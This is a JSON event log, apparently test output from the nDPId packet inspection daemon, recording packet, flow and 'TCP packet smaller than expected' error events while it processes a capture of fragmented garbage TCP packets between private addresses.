-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868260} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868272} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868313} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868342} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868353} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868363} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868374} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868384} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868393} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868403} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868412} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868422} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868432} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868445} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868456} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868466} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868476} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868486} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868496} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868511} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868528} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868541} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":5623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868553} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868566} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868579} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868594} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868607} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868625} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868636} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868649} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868661} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868677} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244029868690} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":5634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAmRzYmtudmMv"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":19,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244030168906,"flow_src_last_pkt_time":1534244030168906,"flow_dst_last_pkt_time":1534244030168906,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244030168906,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":11892,"dst_port":26470,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_src_last_pkt_time":1534244030168906,"flow_dst_last_pkt_time":1534244030168906,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj92mAAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030168934} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030168946} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030168958} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030168969} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030168980} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030168990} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030169000} 